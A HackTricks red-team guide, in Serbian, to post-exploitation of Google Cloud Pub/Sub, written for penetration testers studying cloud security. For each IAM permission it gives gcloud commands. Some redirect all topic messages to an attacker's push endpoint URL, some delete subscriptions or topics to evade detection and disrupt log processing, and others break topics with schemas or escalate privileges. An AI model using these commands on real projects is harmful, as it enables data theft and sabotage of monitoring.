GCP - Pub/Sub Post Exploitation

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Pub/Sub

Za više informacija o Pub/Sub proverite sledeću stranicu:

GCP - Pub/Sub Enum

pubsub.topics.publish

Objavite poruku u temi, korisno za slanje neočekivanih podataka i pokretanje neočekivanih funkcionalnosti ili eksploataciju ranjivosti:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Korisno da se spreči pretplata da primi poruke, možda da bi se izbeglo otkrivanje.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Korisno kako bi se sprečilo da pretplata primi poruke, možda kako bi se izbeglo otkrivanje. Moguće je obrisati temu čak i ako su joj pridružene pretplate.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Koristite ovu dozvolu da biste ažurirali neka podešavanja teme kako biste je poremetili, poput --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Dajte sebi dozvolu da izvršite bilo koji od prethodnih napada.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Dobijte sve poruke na veb serveru:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Kreirajte pretplatu i koristite je za dobijanje poruka:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Brisanje pretplate može biti korisno za ometanje sistema za obradu logova ili nečeg sličnog:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Koristite ovu dozvolu da biste ažurirali neka podešavanja tako da poruke budu smeštene na mestu koje možete pristupiti (URL, Big Query tabela, Bucket) ili jednostavno da biste je poremetili.

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

Dajte sebi dozvole potrebne za izvođenje bilo koje od prethodno komentarisanih napada.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Napadnite šemu na temu tako da poruke ne zadovoljavaju uslove i time se tema ometa. Ako nema šema, možda ćete morati da kreirate jednu.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}

```bash # Attach new schema gcloud pubsub topics update projects//topics/ \ --schema=projects//schemas/ \ --message-encoding=json ``` ### `pubsub.schemas.delete`

Ovo može izgledati kao brisanje šeme koja vam omogućava slanje poruka koje ne odgovaraju šemi. Međutim, pošto će šema biti obrisana, nijedna poruka zapravo neće ući u temu. Dakle, ovo je BESKORISNO:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

Dodelite sebi dozvole potrebne za izvođenje bilo koje od prethodno komentarisanih napada.

pubsub.snapshots.create, pubsub.snapshots.seek

Ovo će kreirati snimak svih nepotvrđenih poruka i vratiti ih nazad na pretplatu. Nije baš korisno za napadača, ali evo:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated